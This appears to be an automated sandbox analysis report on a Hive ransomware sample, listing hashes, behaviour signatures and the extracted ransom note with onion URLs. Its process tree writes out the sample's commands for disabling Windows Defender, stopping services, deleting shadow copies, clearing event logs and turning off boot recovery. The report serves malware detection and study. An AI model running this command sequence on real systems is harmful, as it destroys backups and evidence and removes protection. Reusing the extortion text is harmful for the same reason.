Analysis

  • max time kernel
    146s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05-12-2024 04:29

General

  • Target

    c5ea00ea5973347d54d66f12fb5ee242_JaffaCakes118.exe

  • Size

    3.3MB

  • MD5

    c5ea00ea5973347d54d66f12fb5ee242

  • SHA1

    9ce9fe05b746d949ac3095c7b8ed70a34948a0e5

  • SHA256

    36fe56519a798213116d5f7328fa81ef7c550f4f14c36e7f30c330bdd6d7d42e

  • SHA512

    a6061f6d4b22f3e6561da3e2e27bbdf6e0e9ec812c2e584812d9e684c7e9dfb54c6454a8d818e65d82d89aa17e45d95a15e64e88e8ff33eab6fa284a68a1fe0f

  • SSDEEP

    49152:Fq3j/91Zrb/TNvO90dL3BmAFd4A64nsfJeomo3d4jMQPvFPL8bg11VgjoCfEJZD1:FG91LomuSBPvqi4B

Malware Config

Extracted

Path

C:\Program Files\phLK_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 9PWEYLfHXq5k Password: Xtd8FiVNxskndowzYVqJ To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.vck99 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\c5ea00ea5973347d54d66f12fb5ee242_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c5ea00ea5973347d54d66f12fb5ee242_JaffaCakes118.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2600
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2016
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:2084
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:2924
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2596
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:2272
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2480
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:2876
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2896
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:2908
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3044
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:2788
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2752
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:2856
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2840
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2468
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2760
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2820
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2816
                    • C:\Windows\system32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2808
                    • C:\Windows\system32\sc.exe
                      sc.exe config "UI0Detect" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2636
                    • C:\Windows\system32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1996
                    • C:\Windows\system32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:2720
                    • C:\Windows\system32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1984
                    • C:\Windows\system32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:2376
                    • C:\Windows\system32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:1316
                      • C:\Windows\system32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:1324
                        • C:\Windows\system32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                          2⤵
                            PID:1608
                          • C:\Windows\system32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                            2⤵
                              PID:1236
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2960
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:2744
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:560
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:1328
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                              2⤵
                              • Modifies Windows Defender Real-time Protection settings
                              PID:484
                            • C:\Windows\system32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:588
                              • C:\Windows\system32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                2⤵
                                  PID:2860
                                • C:\Windows\system32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:2824
                                  • C:\Windows\system32\reg.exe
                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:548
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:1356
                                      • C:\Windows\system32\reg.exe
                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                        2⤵
                                          PID:292
                                        • C:\Windows\system32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                          2⤵
                                            PID:1256
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                            2⤵
                                              PID:1676
                                            • C:\Windows\system32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                              2⤵
                                                PID:2356
                                              • C:\Windows\system32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                2⤵
                                                  PID:2060
                                                • C:\Windows\system32\schtasks.exe
                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                  2⤵
                                                    PID:2372
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:1160
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                      2⤵
                                                        PID:1864
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                        2⤵
                                                          PID:2432
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:2248
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:2616
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                              2⤵
                                                                PID:2232
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:404
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:2740
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:3060
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:1944
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies security service
                                                                PID:1632
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                2⤵
                                                                • Modifies Security services
                                                                PID:1936
                                                              • C:\Windows\system32\vssadmin.exe
                                                                vssadmin.exe delete shadows /all /quiet
                                                                2⤵
                                                                • Interacts with shadow copies
                                                                PID:1320
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl system
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1032
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl security
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2304
                                                              • C:\Windows\system32\wevtutil.exe
                                                                wevtutil.exe cl application
                                                                2⤵
                                                                • Clears Windows event logs
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2132
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe SHADOWCOPY /nointeractive
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:1800
                                                              • C:\Windows\System32\Wbem\wmic.exe
                                                                wmic.exe shadowcopy delete
                                                                2⤵
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:2252
                                                              • C:\Windows\system32\bcdedit.exe
                                                                bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:1672
                                                              • C:\Windows\system32\bcdedit.exe
                                                                bcdedit.exe /set {default} recoveryenabled no
                                                                2⤵
                                                                • Modifies boot configuration data using bcdedit
                                                                PID:2412
                                                              • C:\Windows\system32\cmd.exe
                                                                cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                2⤵
                                                                  PID:2176
                                                                  • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                    "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                    3⤵
                                                                    • Deletes Windows Defender Definitions
                                                                    PID:1588
                                                                • C:\Windows\system32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                  2⤵
                                                                    PID:1732
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableIOAVProtection $true
                                                                      3⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:1796
                                                                  • C:\Windows\system32\cmd.exe
                                                                    cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                    2⤵
                                                                      PID:2876
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                        3⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                        PID:2908

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

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                                                                  Downloads

                                                                  • C:\Program Files\phLK_HOW_TO_DECRYPT.txt

                                                                    Filesize

                                                                    1KB

                                                                    MD5

                                                                    7c7498625660600d7277d186038c05fa

                                                                    SHA1

                                                                    144ea5eccf0824e9c30681f64c25224753886533

                                                                    SHA256

                                                                    1da21b2c48b5e60b2e6ced94b990c73a0644fc147cc13b38c022a9f1c058ad3c

                                                                    SHA512

                                                                    32ee4b3ba5a1c86ee47be70428204af3f30f865eba33693a235dd7c6ae51d33369b4a486ee41e837c8fbe117edf54ba0cd01b1535a369c14683ca833768d4e92

                                                                  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                    Filesize

                                                                    7KB

                                                                    MD5

                                                                    8475082a9d89524049c6dde60cc961db

                                                                    SHA1

                                                                    8dc4c9fd3f006740eb7a56ef8046fb56bee3dee7

                                                                    SHA256

                                                                    b8a467b931a33241b57beaeb6f6b4938ff76e69e9f3b71dbd3734ca0108323dc

                                                                    SHA512

                                                                    edbd4942d7f65a7e772d2895556ff2af74740226620bafa7103bbf4f6f362af6a93c8c506ffc39e2d680ae1aed6a024fcc29ba9fce4e8f3b4b3c0f33fb5a3a32

                                                                  • memory/1796-7-0x000000001B670000-0x000000001B952000-memory.dmp

                                                                    Filesize

                                                                    2.9MB

                                                                  • memory/1796-8-0x0000000002350000-0x0000000002358000-memory.dmp

                                                                    Filesize

                                                                    32KB

                                                                  • memory/2908-14-0x000000001B610000-0x000000001B8F2000-memory.dmp

                                                                    Filesize

                                                                    2.9MB

                                                                  • memory/2908-15-0x00000000028F0000-0x00000000028F8000-memory.dmp

                                                                    Filesize

                                                                    32KB